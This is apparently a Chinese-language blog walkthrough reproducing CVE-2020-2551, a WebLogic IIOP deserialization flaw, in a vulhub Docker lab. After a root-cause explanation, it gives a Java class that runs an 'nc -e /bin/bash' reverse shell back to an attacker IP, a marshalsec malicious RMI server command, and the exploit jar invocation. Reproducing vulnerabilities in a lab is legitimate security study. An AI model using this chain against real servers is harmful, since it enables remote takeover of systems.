CVE-2020-2551

简介: 2020年1月15日,Oracle发布了一系列的安全补丁,其中Oracle WebLogic Server产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行远程代码。

前言

2020年1月15日,Oracle发布了一系列的安全补丁,其中Oracle WebLogic Server产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行远程代码。

经过分析这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是IIOP协议这块,虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,而JtaTransactionManager类是存在jndi注入的。

环境搭建

直接使用vulhub中的CVE-2017-10271就可以

使用git克隆到本地

git clone https://github.com/vulhub/vulhub.git

图片

进入对应环境

cd vulhub/weblogic/CVE-2017-10271

image-20230107154925407

启动docker漏洞环境

sudo docker-compose up -d

image-20230107155739460

搭建完成以后,访问7001/console如下图所示即为搭建成功

image-20230107160549138

检测是否存在漏洞

python3 CVE-2020-2551.py -u http://192.168.52.128:7001/

image-20230107164740702

发现存在漏洞

漏洞利用

攻击机ip:192.168.0.101

靶机ip:192.168.52.128

攻击机开启监听nc -lvnp 3333

image-20230107180523151

编写一个exp.java文件:

import java.io.IOException;
public class exp {
        static{
                try {
                        java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","nc -e /bin/bash 192.168.0.101 3333"});
                } catch (IOException e) {
                        e.printStackTrace();
                }
        }
        public static void main(String[] args) {

        }
}

其中"nc -e /bin/bash 192.168.52.130 3333"是要执行的命令

然后进行编译,生成出一个exp.class文件

image-20230107171912137

image-20230107171939453

启一个web服务,需要与exp.class在同一文件夹

image-20230107172232631

使用marshalsec起一个恶意的RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.101/#exp" 1099

image-20230107180020082

然后开始进行攻击,使用命令,成功弹出shell:

java -jar weblogic_CVE_2020_2551.jar 192.168.52.128 7001 rmi://192.168.0.101:1099/exp

image-20230107180754385

下载工具获取私信

image-20230107180849525

相关文章
|
安全 Ubuntu Linux
CVE-2021-4034 pkexec提权漏洞
Linux Polkit 的 pkexec程序中发现了一个本地权限提升漏洞。pkexec应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。
331 1
|
安全 Ubuntu Linux
CVE-2016-5195 DirtyCow 脏牛提权
脏牛(Dirty COW,编号:CVE-2016-5195)是2016年10月18日被曝出的存在于Linux内核中的一款0day漏洞。因为此漏洞是在Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时发生的,而又给Linux内核的使用带来烦恼,所以将其命名为"Dirty COW"。
572 1
|
安全 Shell
CVE-2014-6271“破壳”
CVE-2014-6271广泛存在与GNU Bash 版本小于等于4.3的*inux的系统之中
116 0
|
安全
CVE-2018-8453从BSOD到Exploit(上)
如何构造一个触发BSOD的Poc呢,根据网上现存的分析报告我们得到了一个这样触发BSOD的思路.
|
安全 Windows
CVE-2018-8453从BSOD到Exploit(下)
非常感谢A-Team发表EXPLOIT编写的思路,阅览后受益匪浅,因此本文不再阐述漏洞细节,专注于EXPLOIT编写.
|
安全 Shell 数据库
CVE-1472
0x00 CVE-1472复现
CVE-1472
|
安全 Java 应用服务中间件
Ghostcat(CVE-2020-1938)
Ghostcat(CVE-2020-1938)
Ghostcat(CVE-2020-1938)
|
数据采集 移动开发 安全
|
安全 Ubuntu Linux
polkit的pkexec中的本地权限提升漏洞(CVE-2021-4034)
polkit的pkexec中的本地权限提升漏洞(CVE-2021-4034)
488 0
|
供应链 安全 IDE
Mercurius <11.5.0 存在拒绝服务漏洞(CVE-2023-22477)
Mercurius <11.5.0 存在拒绝服务漏洞(CVE-2023-22477)
Mercurius <11.5.0 存在拒绝服务漏洞(CVE-2023-22477)